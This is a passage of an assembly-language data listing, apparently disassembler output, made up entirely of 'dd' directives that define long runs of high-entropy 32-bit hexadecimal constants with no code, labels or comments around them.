		dd 0BAE5005Eh, 45D334EEh, 30F50A3h, 0A70FFC8Ah,	7380F2A1h
		dd 240DA856h, 3CFAB3h, 3144622Bh, 0F80010A0h, 57930F23h
		dd 37B146Bh, 64401533h,	0BCC03819h, 50484324h, 0CEE476E4h
		dd 4E886C03h, 0EF6B7Ah,	4DF412EEh, 1FA9DC49h, 0E1398101h
		dd 0AACB211Dh, 0DED6D540h, 2E93E6EFh, 2478F3h, 79CE242Fh
		dd 69030A94h, 5B086B34h, 6550B0ADh, 0AC94AAh, 0B3FD14B2h
		dd 1007B4Ch, 0F6628CA3h, 0B8ACE460h, 2D670174h,	449AF0A1h
		dd 7E0C871h, 0AFBD9100h, 0E4558A23h, 0C1B500C7h, 63504A39h
		dd 7C1231D7h, 2F00FF3Dh, 51C0C67Eh, 0C9AC3A32h,	744F0AFFh
		dd 7879C67h, 2017D9B4h,	898510A1h, 8CE06F68h, 9C809016h
		dd 5C2ABAh, 9C101BD6h, 9A084942h, 0D8C52B00h, 0A476F121h
		dd 821E257Bh, 5A2ED080h, 2903C05Fh, 6225EBF5h, 8427D546h
		dd 5621EEB2h, 0D77E00E8h, 0D1BEEBC3h, 1400B14Ah, 8DFD6C27h
		dd 4C80B73Dh, 0D2F33FEAh, 0B0D75E00h, 5251A7C9h, 6C48001Ch
		dd 2D61E432h, 2598BEADh, 0A041E701h, 5BA9AED7h,	0B055C030h
		dd 71116041h, 0D2DFAB6Ah, 83D32100h, 0B77FD60Ah, 5A591893h
		dd 1BDE8101h, 4179717Fh, 0A7B27700h, 5AE0D356h,	70F7439h
		dd 14F2116Dh, 8B882A6Ah, 0D466BEFFh, 0C3A2620h,	7A78F4DDh
		dd 0AF0BB8C8h, 60D8D912h, 22FDE60h, 3DF01CB2h, 0B8800201h
		dd 39A9891Ah, 66C7000h,	0D55CA0B7h, 0FC3A0035h,	9A954582h
		dd 0F400C34Eh, 490BFD72h, 2EFEF650h, 12BC9409h,	29ACC040h
		dd 0F101468Dh, 0E3182D9Fh, 88CC4470h, 49624B0Ah, 0AC61DE10h
		dd 1E676015h, 0FD98D000h, 1FE57C1Ch, 387BE23Dh,	9F0097CBh
		dd 0F9691887h, 78255839h, 16541BF6h, 0DCC9EF59h, 40002890h
		dd 3D49BE72h, 4A9AD85Eh, 930C8065h, 5C003F32h, 9963A15Ah
		dd 0E2A2CEF9h, 67C104CAh, 0C0109D68h, 0E9E76CACh, 1A017BE2h
		dd 41A35F32h, 3EC02573h, 15911DDCh, 0FE4600A1h,	99AA3BF6h
		dd 6ED16CC4h, 0E04CE083h, 0D7DA38h, 0BFA57DCEh,	46CDC285h
		dd 0F7D4AC00h, 77804D7Eh, 38E4E3h, 8D4358B2h, 61A11D44h
		dd 0FBA0B000h, 65E9EDC9h, 769F786Dh, 80E0BCh, 3101E840h
		dd 51917BA9h, 8752B901h, 22F8F68Ah, 18CD60h, 0BEFE6EDEh
		dd 0B1F3811Bh, 802FAA3Ah, 5805A0F4h, 74D4098h, 7AC3DE9Fh
		dd 4A0C9D0h, 1833EEA3h,	536D8E07h, 0A9500FECh, 0E6B2FFh
		dd 0BCB54DC0h, 0DBDE1F3Ah, 0F9577F03h, 0C07D2E49h, 0A5D072h
		dd 0A25CB6B9h, 6F5A9E1Ah, 8125C13Bh, 0A6A3D382h, 249276h
		dd 0D5ED1330h, 5E08B08Eh, 0AE153E30h, 2A2DB17h,	0C1605A7Fh
		dd 9C480D65h, 42E6CFE6h, 8E806F00h, 221E8DB1h, 0ED5E1E1Ch
		dd 0BA460440h, 0C22580F5h, 7B0079B3h, 8A0D95A7h, 34FB9D6h
		dd 86AE1145h, 0E4D0785Bh, 0A43C2582h, 0B56C00ADh, 0E6855E41h
		dd 1D280FAFh, 5F40D916h, 5291C79Bh, 2708B601h, 5A4C9586h
		dd 0F5A487C6h, 9AC4EDC0h, 8FD1008Dh, 0D0C702A9h, 93B3DD4h
		dd 664A80ABh, 5B5A393Eh, 59440094h, 87BA3CFCh, 21002AEDh
		dd 467D476Dh, 3BB6CB71h, 1C077638h, 10511478h, 16919380h
		dd 8DE1D300h, 1744DCCBh, 0B6DA062Ch, 0B6CF181Dh, 0A8A09372h
		dd 652DA249h, 614460B2h, 642B005Ch, 0F9D60CABh,	70B8482Dh
		dd 751ED80Ch, 61C8AFh, 30A17B1Dh, 604DA4BBh, 3D7F1C07h
		dd 3E402A37h, 57A885Eh,	0A41DB0CFh, 2FE0EC14h, 208C0960h
		dd 4C3F3354h, 91AB0038h, 77F24F5Ch, 5627E6AFh, 64EC0142h
		dd 306D3A34h, 0F8F2E501h, 0FACC9D69h, 20870449h, 5F7CAED8h
		dd 31E0C500h, 944FC15Ch, 72BC003Bh, 70EE5A3Eh, 0A17D16E6h
		dd 0CA1A2900h, 9AE3DA31h, 93840096h, 4E98C936h,	0E071586h
		dd 4B1E5071h, 0B9995900h, 6D4D0062h, 4660DB6Bh,	0D401392Bh
		dd 0F5C3A791h, 3FE0ADD0h, 32640013h, 0F7E9C54Ch, 0BE00085Dh
		dd 0CCE654AEh, 0F6AF2h,	0A9058935h, 0FF7639D9h,	6EE32C00h
		dd 98BF5F12h, 141E0001h, 0B349E28Eh, 0FE90724Bh, 193A5300h
		dd 7487A802h, 2D6A7932h, 1C04424Eh, 9B0B7C2h, 0C086F797h
		dd 5958ACh, 0B40D9B15h,	24AF1CA1h, 60289760h, 89B8C1FAh
		dd 995AF08Dh, 0A1F8400h, 0C3409558h, 29D55C49h,	7737C3Fh
		dd 2457138Bh, 0B80B309Eh, 9F001DFBh, 23B3285h, 0C3273Eh
		dd 0E787736Eh, 4F4A127Fh, 79A78A01h, 9625D45Eh,	1B4760h
		dd 26CE8DDBh, 0B4132175h
		dd 1CAA74Ch, 0BDFDF44Eh, 0B870A9C6h, 9BC303FCh,	86C96781h
		dd 0B7F87288h, 53A74400h, 8CD11FC7h, 0CEE0006Eh, 0EF353656h
		dd 7948B662h, 0C1FE0097h, 8FBD140h, 2C45003Dh, 2AA026A3h
		dd 2F175772h, 0C4C2D212h, 0D118E81Bh, 0A94500E5h, 2B2D82A8h
		dd 5500B963h, 85625AE3h, 0B0EDDBAh, 0D59D97E2h,	0C146B000h
		dd 0C01D4A6Fh, 0BF40707Ch, 9FCAAACFh, 62BD0005h, 5B52A4FEh
		dd 0A300F9C3h, 0EA881522h, 1EBA0E64h, 0C7CFFBD5h, 10A8C5E1h
		dd 4B2FB539h, 81DDCB02h, 0E3F20EB1h, 761BC835h,	57B70066h
		dd 0A72703A0h, 1300B98Eh, 0C119556Ah, 0AD5FDBh,	1B5CA26Bh
		dd 2CA0904Fh, 9FEC7C01h, 5101164Eh, 5C728D40h, 7871720Ch
		dd 0D575BEh, 8E0A7061h,	31254A7Ah, 0DB1AE600h, 91C5DE6Dh
		dd 0AC43489Bh, 4D2A5100h, 0DDD25BEAh, 0B0F0394Ah, 0BE5405E3h
		dd 0E05065E1h, 6B00E6B8h, 493BDDD7h, 7389C325h,	0D4BC38h
		dd 3C85C724h, 9613F732h, 8076A67h, 40A856B8h, 329805B3h
		dd 0ED276B00h, 4C79B4C9h, 19EDF124h, 0E4C2A8E3h, 389A00BFh
		dd 0D3595FC6h, 0E6007490h, 40D860A7h, 0F0C464h,	9A2C1F52h
		dd 899BD9EBh, 956AFA00h, 0DE21C0B6h, 45340909h,	9C0703D5h
		dd 171FE08Ah, 0EF25F24Eh, 14288083h, 1D3BE4Fh, 1A08A7Fh
		dd 7144650Dh, 725F858h,	0F10E00Fh, 0F41F22A2h, 168D405h
		dd 32513CA9h, 0A792D4D7h, 2079A82Eh, 0A5006B6Ah, 24B8CBCFh
		dd 0D1C00E6h, 0F160B7FFh, 0AC00C7A3h, 2FF8D09Bh, 972B93h
		dd 0B588D822h, 0A2B12DC3h, 0BCCA463Dh, 753B0059h, 0DEDAF344h
		dd 0D14801D8h, 63320878h, 8463DAC2h, 5688FB8h, 5887A200h
		dd 67B80D55h, 8BA30906h, 5CC0592Ch, 6B038F1Fh, 0E628CF6h
		dd 9FAFA860h, 637300F2h, 0AC025F0Dh, 0C2009BABh, 9E40D2E9h
		dd 9F1E7Ch, 0DA34EE8Dh,	0C926479Ah, 510456F2h, 8C05A25Dh
		dd 409B20D0h, 0BC0C2CA5h, 0F1FF00EAh, 28651CE5h, 0DA832D1Dh
		dd 40086B00h, 0B2B81Dh,	0AE4DEF1Fh, 0BE749533h,	81858600h
		dd 30C892A3h, 41630061h, 0BCD58BC9h, 6E1843E1h,	0A0902465h
		dd 325D003Ah, 9771D6FAh, 88A072C9h, 0C0227715h,	807537h
		dd 0FFBA8CD0h, 108A7CDFh, 0BB8DCF00h, 86E0B3F3h, 66EA000Dh
		dd 0E43DE327h, 0A81C96D4h, 246448AEh, 0AEA7958Eh, 2B032044h
		dd 0C33F5B74h, 0F617C680h, 9BAA29E8h, 0E96E4B00h, 0CB824FE2h
		dd 235C00D3h, 35114D17h, 8090B0Eh, 417F739Bh, 18E21ED0h
		dd 0BD0BFCAEh, 769EAF0h, 21607DF8h, 0ECDACA77h,	10209557h
		dd 657C88E2h, 3EFFDD30h, 3F08CAEh, 3066EC3Ah, 0EB87128h
		dd 933F6526h, 82AD0064h, 554680F3h, 0BB6900FCh,	0BA6133D5h
		dd 0E8F226F8h, 0B500848h, 81DD881Bh, 8034D0D7h,	2C47D4h
		dd 568B0453h, 5B6BBE1Ch, 0C4791504h, 7CACD226h,	0F6EF0092h
		dd 7F56CC6Dh, 0C276C90Ch, 2EE7E14h, 0CE71539Fh,	0E0F74FE7h
		dd 0F2F621h, 24A861A4h,	7102AE44h, 16504E3Ch, 7C001B0Ch
		dd 55B87691h, 742400D1h, 92715D62h, 1F136C6Fh, 0C0C263DFh
		dd 40ACDE22h, 0D5B976B0h, 431C8DFEh, 91C04519h,	96664092h
		dd 0EA68006Dh, 0CB74CED0h, 5400842Eh, 0DE053669h, 0EC6C08C3h
		dd 7550008Eh, 0F670E97Ch, 87F01A5Ch, 9CB9CF03h,	0D8889E32h
		dd 0A47F79h, 1604CED7h,	652E5FF0h, 1187E400h, 5C14B5A8h
		dd 6D15006Fh, 8818292Dh, 0D2F05F23h, 0F930CB00h, 0C9A2B8F1h
		dd 0BA542866h, 0D16F2C92h, 7C01BEE0h, 0B5639194h, 5E71DC32h
		dd 68744295h, 76213E8h,	705D7F9Ah, 257431A9h, 0D249F44Bh
		dd 3C81804Bh, 26E17B8Fh, 70239C20h, 54A60EBEh, 0AD40A011h
		dd 0A51ADE9Eh, 9CF65A3Ah, 0AC4F01AAh, 6D60B813h, 240E004Fh
		dd 0A88ED28Ch, 0C501E217h, 0DDEE40D5h, 63E6D2Ah, 30DC8C3Ch
		dd 720738h, 0E374E5C0h,	38DC7ADh, 2DD4F3B4h, 0B0FF784Ch
		dd 0FCAC5912h, 94AAC000h, 5EEB751Eh, 0BF6D005Bh, 774A7836h
		dd 6C906A98h, 0A7AAB300h, 0AB074F47h, 94FA302Ch, 0C4A5D228h
		dd 1D48ED03h, 0B03A3568h, 213D37h, 51F5B583h, 48E747BAh
		dd 20013F8h, 3A8BDE78h,	1E5D336h, 3B7F7E17h, 6CBF56B7h
		dd 10E85E2Ch, 832F8B00h, 0FD2666Dh, 0B4E83A00h,	711F3198h
		dd 8FDF00F1h, 203081E1h, 0DB00FD72h, 3382E59Bh,	139A21Dh
		dd 0EFB0061Eh, 0CCE73485h, 0B1000523h, 7B3888EEh, 489089h
		dd 42D0E0B0h, 0FB980BC9h, 0AAF895F8h, 0E88F0400h, 0B04CED1Dh
		dd 0C5B300FEh, 0C16ECE26h, 0DAE0C2ADh, 88949Dh,	4E7376DEh
		dd 0F2C422A4h, 0D15C1300h, 1EB8F3DCh, 5B4C037Fh, 9FC1DDC7h
		dd 394BDFD0h, 4F102016h, 5A996C01h, 86C44EAFh, 235F03A5h
		dd 680EC91h, 85DA1138h,	99C198Fh, 0A9B0A200h, 0A3C34Fh
		dd 478033DCh, 0FBC660EBh, 0DD344900h, 2421646Bh, 0D37E0040h
		dd 37273538h, 5E00673Ch, 82F5044Eh, 94341B8Dh, 0E25C12CCh
		dd 2C3504B8h, 0F0ECF728h, 0D4720774h, 10BA38ADh, 9D67305Fh
		dd 0CEFF2C00h, 123AE391h, 3976F26Dh, 0B900FECDh, 0E8AA328Bh
		dd 48008D6Ch, 0BA4E3692h, 59F1FCCh, 1B0A5CEAh, 87B4C1A9h
		dd 22EFC88Fh, 0ACE73F00h, 0FBD21744h, 6B502753h, 0EF1EE880h
		dd 32006270h, 34F14358h, 0BFBCDE7Ah, 5314E000h,	931CC61Ch
		dd 2C429165h, 57C2E8A6h, 0A8990C01h, 4D8DDCB3h,	5C052109h
		dd 0BF370183h, 28F81E74h, 3E582C9Fh, 0DAF80020h, 0F04B9AAh
		dd 0EF00737Ah, 0A31114A9h, 0BDEF26Bh, 9422D6B2h, 5E7ED480h
		dd 1B0EC662h, 0E026F90Fh, 9812CF1Eh, 0F64C2E11h, 1D748154h
		dd 70DF4804h, 3FF69C9Ah, 0E5C22Eh, 0DE94107Dh, 15852A83h
		dd 0CF648042h, 0AD160023h, 0A0F81CEFh, 35048BDAh, 14AC9E82h
		dd 5FCEC8F0h, 11BAC73h,	0BCF5FA6Fh, 0C6F8177Ah,	9B90004Fh
		dd 0E4E88E3Dh, 950076ECh, 0F6C987B5h, 5DFF70h, 0D1E0522h
		dd 0D113BF4Ah, 11F83007h, 369083F4h, 10E55A3h, 0D461F9BAh
		dd 0CCA8C8BDh, 58009DC0h, 6CAF3D69h, 0E4018FF8h, 5F3C0038h
		dd 0F38770DEh, 204DE19Fh, 0C6D800C0h, 6CE9CFE4h, 0ECF6D6h
		dd 0C42CB60Bh, 63F9E889h, 0A1753Dh, 56F67A4Ch, 9C5935h
		dd 534196B9h, 5191B4ECh, 6E81315Fh, 52E0B82Ch, 0BF2F0401h
		dd 0EB3450D6h, 35598000h, 0DA047h, 527522C8h, 237F6618h
		dd 2C0428E8h, 923D0AECh, 0EFA44EEEh, 0B16E08E7h, 24151A12h
		dd 0FDEA5EA8h, 0B064EA03h, 0A0B9528Fh, 652850h,	30809C37h
		dd 0A452E55h, 8795380Fh, 0CCCA2747h, 0ADB456D0h, 73B97639h
		dd 3B16700Dh, 431FFC4Fh, 389940A2h, 0D21178DBh,	7D2818BFh
		dd 7B7E16EBh, 0A077019Ch, 2C16CC63h, 0A31408DCh, 1F0C0064h
		dd 3227826Dh, 0A43CB076h, 0AFFA0001h, 289A3497h, 72B4A1BFh
		dd 0A8FC302Eh, 74B2E913h, 1C8E5401h, 0CC32E1D9h, 0C258902Fh
		dd 0D80375E4h, 72958659h, 4D3AC844h, 855A0081h,	79D65A7h
		dd 1C00164Ch, 0BAF41D71h, 48F5AA43h, 860067DAh,	7AB6AC46h
		dd 79F04BE1h, 960F3CB8h, 60629B9Eh, 75EC33DFh, 0C4881EA6h
		dd 40151C0Ah, 7BF078A1h, 30003168h, 295F36FEh, 533D7Fh
		dd 8C33D667h, 315527CFh, 0EB0CA0B5h, 1DAE15h, 0EC0C610Eh
		dd 0AB5623FDh, 0DCA58200h, 0BB0C762h, 1598005Dh, 0E17EE2DAh
		dd 9E078C5Ah, 73A7973Ah, 426650C0h, 6B7C018Bh, 605E4BCBh
		dd 1704E456h, 8015ED3Eh, 0CE9268D5h, 0E8772Bh, 0B550CD0h
		dd 7A5494C2h, 0B4094900h, 62B9F3FBh, 4EE30BBCh,	63879DEBh
		dd 0AB9CE0FCh, 4FA9269h
		dd 0E13F6D01h, 49240A95h, 7B58D1E4h, 1BFF003Ah,	596B2620h
		dd 6C01DFB9h, 410BE865h, 5BC5070Ah, 64289FEDh, 8040FA7Eh
		dd 0E303590h, 7F731069h, 841A013Eh, 0F5FD8B0Dh,	0FB188E68h
		dd 8CA337A6h, 69325F00h, 7A89301Fh, 84DEC500h, 47388597h
		dd 39101F41h, 2440ADA8h, 0CE5B43EAh, 71F4D8C0h,	0BE0B00FDh
		dd 99155A4Ah, 97E0B60Fh, 6C448A00h, 0A4E3D116h,	0ED756Bh
		dd 7298BB77h, 45603431h, 0E8F06901h, 0B32AB7B8h, 48BE91E4h
		dd 4E043848h, 0FFCE99C3h, 9D904000h, 453B3Dh, 958BCC55h
		dd 462C3C86h, 7FCFF909h, 7B4D691h, 0A3AA5D3Eh, 20D3D3C4h
		dd 0E1278199h, 1C9E30B5h, 9C9D7F07h, 0CC15D434h, 0C11F0CC3h
		dd 3C32C517h, 7C198A00h, 643269A8h, 78482600h, 9A8F2ED2h
		dd 0DC6B0017h, 27B15F89h, 0D74C52A1h, 0DD2E800Ch, 1FD93EBh
		dd 5F4B02BAh, 0C041F5CEh, 0C90FF921h, 9E68B2h, 0F723BF61h
		dd 56DF4C70h, 64216900h, 0A1196304h, 1FBEFF07h,	650C27Fh
		dd 6F568Dh, 1D34CAC7h, 1985CDD8h, 44EE6D2Ch, 253BF600h
		dd 0F6A5A254h, 2C7452h,	8155C1CFh, 0BAB6E616h, 7A5E3CF8h
		dd 0B85B2CC3h, 0EAE103h, 5E651429h, 669B070Eh, 0A5CDA100h
		dd 0B6374144h, 38800068h, 1682DFF9h, 990F6C3Dh,	0C088033Eh
		dd 4171E883h, 0BF2B00EEh, 0A221DEE4h, 0FF0045E9h, 30282611h
		dd 774FC9CBh, 84B254h, 940CEE39h, 7DD3249Bh, 0D6198B1Eh
		dd 31852A7h, 0EFD51A87h, 2140208Dh, 0C29D2508h,	9153A05Ch
		dd 17F851Eh, 14753844h,	80088A0Dh, 51CE860h, 39E46515h
		dd 0CFD0BD0Fh, 0E34F0F12h, 8978827Ah, 20C8CB65h, 0F4C00EFCh
		dd 20A77C84h, 1C59104Fh, 0C0E7890Dh, 59CFFFAh, 7780C93Ah
		dd 7C0900B9h, 0F04B968Ah, 0F300675Dh, 2C5A3D37h, 85327Bh
		dd 4F25E0DFh, 4D0F9526h, 0A4B950C0h, 662DAD08h,	78C248CDh
		dd 0CFFC6603h, 285E5076h, 30443CD1h, 8AD907D3h,	1C3B5DF8h
		dd 2116746Fh, 6B102D75h, 0CD9C0B7Ch, 0BC48263Bh, 47A000D9h
		dd 1F3A0110h, 0D6004DC3h, 95F66680h, 0F8CFEED1h, 465500C8h
		dd 5BF7D05Eh, 7E00FE12h, 0EB1E8D4Dh, 0F53D17h, 0FDD63534h
		dd 0D17BFB48h, 0EC90600h, 1C4F1022h, 0C1891302h, 735D0329h
		dd 3C0CFE8h, 8300E9D0h,	8FF1ED79h, 0F21377h, 0EFC14B6Fh
		dd 1FEEFAFFh, 484CB6F6h, 8C1700C9h, 0B1120856h,	326B0F33h
		dd 7DA3DFF6h, 0B4E001D9h, 6000244h, 0D01EA989h,	70F818Dh
		dd 0E42C4F34h, 3DE60E8h, 400022BDh, 66FC11F2h, 0D39656h
		dd 7C4B4312h, 0FBD53E4Fh, 8A33D5Ah, 24F54A3Ch, 0E9E93BCh
		dd 47878A69h, 401F6050h, 0AB0FAF67h, 81855543h,	1E995208h
		dd 1FF19EE1h, 0F03C23E0h, 0AE10C344h, 0EA906654h, 9D00293Fh
		dd 24F0CE60h, 4D3326h, 0BBEC1C89h, 7839AA99h, 541E9B0Fh
		dd 57AC80BCh, 30A9854Ch, 32085C43h, 0AE1F864Dh,	24004EF9h
		dd 2228BBFAh, 91520147h, 9F4B3F5Bh, 7A644458h, 1483FA04h
		dd 100BF6B6h, 0C0EF6444h, 9D0DE460h, 0DF2AAC00h, 0EE2C4F15h
		dd 6B00DF11h, 9303B551h, 0E421183Bh, 155549F8h,	72FBA500h
		dd 7C0704B7h, 440374FFh, 0D034E63h, 0BB1E01A5h,	6105E021h
		dd 0D789184Fh, 42145057h, 6BF499C0h, 1C5A1FF9h,	0F0440CFEh
		dd 69BEE648h, 2E1D649Ch, 48A22A09h, 1C0608A4h, 14F16B9h
		dd 48673E5Ch, 80E1D158h, 0B9572521h, 0AD6C4CFh,	4534A7Fh
		dd 1EFB8080h, 0C8DA671Dh, 8747E500h, 7EE6B4B7h,	0D93A3C0Ch
		dd 240CAF25h, 0D8C38F0h, 7354A512h, 35781CE8h, 9EA50A00h
		dd 69BA3810h, 0E734048Dh, 3B7370h, 6501BC68h, 0D04264A9h
		dd 0B905602Bh, 584F380Dh, 0DE22C3h, 0F1B8FE26h,	2CCDC287h
		dd 72ABEB03h, 1F04B74h,	1C1BBC50h, 830A594Ah, 0FCDF84E9h
		dd 0C1D800D8h, 88FBE553h, 0F41255D1h, 0AC90B00Ah, 17EA3BBh
		dd 5E30751Fh, 92389CE4h, 0C41C608h, 0CB792B5Ch,	0AEE896C5h
		dd 0DE6302DDh, 5F52B8EFh, 0F76EFC00h, 0FF88C6C5h, 0D914B847h
		dd 0C8A47588h, 8117C423h, 2627730Ch, 64221Ch, 86A50F50h
		dd 539D428Ah, 0EF1A4802h, 23AEAE0h, 0D6561B9Ch,	4A9510B0h
		dd 0D11C6350h, 6903EAE3h, 0B9F8B1EFh, 0AF22A8B7h, 0FE1A0730h
		dd 20B04C3Fh, 4714E925h, 0BCCD4D00h, 42210738h,	0AFB8A9E7h
		dd 71008C22h, 70A75B93h, 970348D9h, 0AF038C19h,	72100ECh
		dd 0F980618Fh, 0A0072C73h, 0D31B569Eh, 40324E30h, 3B8515FCh
		dd 14808022h, 0AF7302A5h, 8870F343h, 0A5060C4Fh, 0F8A2FA16h
		dd 72D91891h, 0D754210Eh, 48B8AB55h, 0ED6080ECh, 0F18F8A91h
		dd 0C7F00D2h, 1E79A841h, 7D00833Ah, 72D18963h, 0C3E5038Fh
		dd 55082020h, 5960407Eh, 0C4B76E21h, 288892F6h,	0E00454h
		dd 0EA6399C9h, 747A03B4h, 80BF8731h, 21C877E7h,	31D49168h
		dd 9E23CB90h, 0D7C6BFA1h, 5050E958h, 20D95872h,	1F0FB84h
		dd 0F9836009h, 765000FDh, 90F05E28h, 10E4654h, 752B7E97h
		dd 130C5F90h, 3F4821C0h, 9584679h, 0D56A76A0h, 111F6890h
		dd 53F0F377h, 0AB204098h, 2747156h, 42AA2857h, 0A0A0608Ah
		dd 0F8AC8F84h, 5400B0DEh, 32365928h, 74730D91h,	20D8F617h
		dd 5E48581Dh, 13E23E4h,	4F1AB902h, 88DC18A0h, 0B9005311h
		dd 0C8890FD0h, 1E8AFC2Bh, 0CA4F3D92h, 3B0EE12h,	185B4A65h
		dd 74F2D90Ah, 0A28C9C45h, 1F1249CFh, 0C77014C7h, 0D0C0DA7Eh
		dd 4D1D942Ch, 0AD7B3Eh,	0CB9B730Ch, 99E76FD9h, 494318FCh
		dd 2000C72Eh, 0DD14860h, 2A83C35Bh, 13C0EB09h, 20AEB234h
		dd 63B0A298h, 0D5AA2900h, 78F9BBC4h, 30989174h,	0E7B48FA0h
		dd 59E01F81h, 693E6E2Ch, 95C72AC1h, 0F9A440C0h,	8CC24BAh
		dd 1AFB214Dh, 0A912C721h, 957EA444h, 0EBD54718h, 8792B9h
		dd 0C56B98D4h, 12FF476h, 0B807B600h, 9B59EE53h,	0FE38050Bh
		dd 86AF0827h, 0BE00B827h, 0B6C9A02Bh, 12328072h, 0EAE536h
		dd 0D913A2F8h, 4A60140Ch, 88F8F089h, 2C710062h,	684E54B2h
		dd 471829C5h, 78306470h, 0BF42456h, 7E96C048h, 8846752Ah
		dd 49011822h, 0D0ED793Eh, 0F880C602h, 6F481A51h, 84D18B7h
		dd 0AD6B08CCh, 12FC06F3h, 9100914Bh, 0A4A9BE30h, 9BE7CAh
		dd 79654359h, 0F0EF4ADEh, 6DD91A13h, 0CEF40820h, 78F140E7h
		dd 4E70EB18h, 0F9664449h, 0F32AF062h, 0CB741DA8h, 6202001Eh
		dd 0A244CF9h, 0F0D53618h, 0C47921h, 4DA44854h, 0C3F44056h
		dd 4BEB3509h, 0A84013A3h, 1CF9EAACh, 0C2C6E5E2h, 0CA40060Fh
		dd 183F8841h, 11B90B01h, 6C1C784Fh, 0B95A1200h,	83A89ABEh
		dd 0D176070Ch, 28A3BF52h, 0E5895B0Eh, 40C49D8Ah, 0E9C4A48Bh
		dd 0F4B13039h, 0D120B98Ah, 0E7FD19DCh, 1D38170h, 130636C0h
		dd 0DEE4F448h, 0BAD92480h, 89A181Ch, 8C406240h,	1411B9E0h
		dd 0F488504Fh, 0B9591383h, 0C36AD8D5h, 0A077761Dh, 3C62060h
		dd 38C91CA6h, 0CE87CB2h, 95008177h, 0FAAEF8C8h,	1AFC4750h
		dd 51D2BCE4h, 0EB2B7040h, 7C752498h, 5D509700h,	346F4756h
		dd 25A0C852h, 0F4801C9h, 5048484Fh, 2C2888DFh, 0FE62B900h
		dd 0A3EAA864h, 3B92155Ch, 1080C436h, 0F7306A5h,	58100443h
		dd 83B003Ah, 0CBBD23A5h, 37E901E3h, 257E2153h, 0DF882032h
		dd 4F3EC20h, 628D5B43h,	0BC720789h, 0B834ACA9h,	54048C2Ch
		dd 304F10B9h, 2720E262h, 7EAB8FDh, 203C748Bh, 0CC2F84E8h
		dd 0C7081E4Ch, 0C434C0A1h, 35F74056h, 482698C7h, 0D6004274h
		dd 0AFBD8D5Fh, 7000F9CBh
		dd 79203FABh, 5AF2DC7Dh, 19484272h, 0E92003AFh,	0E5499198h
		dd 0F224D0BEh, 0D2E583C4h, 1AF87904h, 1100C312h, 4D75D51Fh
		dd 50BF1814h, 8C35B09Ah, 0FFA51105h, 98CE1772h,	0A5090073h
		dd 67DD5EF7h, 0C30A580Dh, 0A444C163h, 5F809C02h, 0F88CA004h
		dd 0C1988DF2h, 858BC2B1h, 2B288255h, 29F6B7E5h,	9441A812h
		dd 259834A3h, 541E08A8h, 43F7316h, 123D41Fh, 751D7EA1h
		dd 881918A0h, 7900292Eh, 1B6B26BFh, 32716A21h, 8A08208Eh
		dd 30085443h, 1E5E4F0h,	7F48221Bh, 0CD3CECACh, 5FF27701h
		dd 18A71AB4h, 42737830h, 20532547h, 452A2B80h, 40053D17h
		dd 2071D913h, 0D2BAE670h, 0EAE474A8h, 64541D02h, 0CC2CE821h
		dd 0C71F0460h, 380CC0A2h, 0C73600FAh, 0E14F19EAh, 2CB85472h
		dd 0F0C2E624h, 0A0EBAF42h, 9938A8FCh, 0D35801F2h, 0F981629h
		dd 0A3AF43Dh, 7547E602h, 40FB508Fh, 453C784h, 0D196A4D9h
		dd 7460C7F3h, 800A283h,	0AF29FC7h, 4094D562h, 0E0FF0D0Fh
		dd 7352F101h, 5EFAFD7Dh, 1DCAAAC0h, 0E45877E5h,	0DF4674A4h
		dd 0B2171Dh, 0F8D1F4ECh, 235DCF52h, 0E15B0484h,	38C2E95Ah
		dd 58745393h, 0C00B18DCh, 0F2116Bh, 38949084h, 80609183h
		dd 0EBBED0CDh, 67341B30h, 0C040C8A0h, 58AD949h,	0C4ECA93Bh
		dd 89C45C47h, 0B914A4C8h, 470100A0h, 0F2DD486Bh, 95F6FC00h
		dd 2A4FF023h, 594A80BCh, 200949h, 6B93E2E1h, 82464h, 4AB16F32h
		dd 7E716917h, 9B028090h, 0E627E4C0h, 98C066B7h,	445482Bh
		dd 23F07232h, 0E9782471h, 0F0048639h, 0C25B4A64h, 65F22090h
		dd 0A2C9CE53h, 0CF87E054h, 3C4BD0A4h, 190035EDh, 71C9DABAh
		dd 9E53164h, 7B5D966h, 16BE7425h, 59B81A54h, 8C009C0Bh
		dd 29129AFCh, 0C8784D5Ch, 7E95C00Ch, 80467529h,	4A1F1422h
		dd 72C0793Dh, 0CC22220h, 53600A01h, 1ECFF7Dh, 998C8F70h
		dd 83C3F47Fh, 18FAC530h, 60A0AC22h, 0B9B099DBh,	0A200E8ABh
		dd 5E4D340Fh, 3F2BFFA8h, 4F70762h, 0C4DF8404h, 0E1948218h
		dd 0EB44ECC7h, 89E90D63h, 0E098C42Dh, 1FE56902h, 85317AF9h
		dd 9002FC88h, 42B36Dh, 6AC5C195h, 54287B00h, 8BC49B56h
		dd 8D9D275h, 3CC00980h,	21752079h, 0C0955E38h, 245B00B8h
		dd 7FD33B79h, 0A0C400A1h, 0E5CD36F6h, 5309709Bh, 80EED6AEh
		dd 56C0F278h, 1DC72C4Dh, 50465E60h, 60002B3Ch, 0F48BAA25h
		dd 4160133Eh, 7F167C21h, 2F040110h, 0A0E33629h,	0C814626Dh
		dd 5B6282D9h, 6B004811h, 4AA1C694h, 412840D5h, 0BA46C1Eh
		dd 0CA3E123Ah, 3CD8C85Dh, 161D4C41h, 24936ADAh,	0E5BC9824h
		dd 9B34D8E8h, 30C851F4h, 63C01F64h, 4C892545h, 80F30CA5h
		dd 0EE538A1Ch, 0EB30DD0Ch, 0F5397Ah, 244D1D08h,	0ADB64E1Ah
		dd 64F0A0B8h, 6F1F37FCh, 0B9CB160Bh, 9C90A212h,	99B466C4h
		dd 1813D164h, 2947071h,	8F8406D4h, 4C40D06Ch, 0FC04B835h
		dd 3853BF52h, 444794C2h, 4418A760h, 70BA60C5h, 21110F4Eh
		dd 5A62D5B8h, 0C8A76CFDh, 53E3F5E5h, 314C88DCh,	8A9D370Fh
		dd 25BD0002h, 7998C828h, 0B2D20964h, 6C822BE9h,	4742EB48h
		dd 4E22A064h, 0D0FC501Ch, 4AE60047h, 0B201BE53h, 76026B70h
		dd 6C20119Bh, 7008D992h, 0F28639E9h, 714F6014h,	2EDD67CCh
		dd 7A1F858h, 96C7D66Bh,	0E82716B0h, 79F60226h, 5A4ADA67h
		dd 0F324707Ah, 580888D0h, 3A2B662Ch, 0E8B9C07Ah, 0C722FEC0h
		dd 0F4C900A9h, 0EFE0E558h, 1205070Eh, 59F788CFh, 2174D0A0h
		dd 2C245D5Fh, 0EF4465Ch, 4C894F55h, 0A5C85049h,	654CC454h
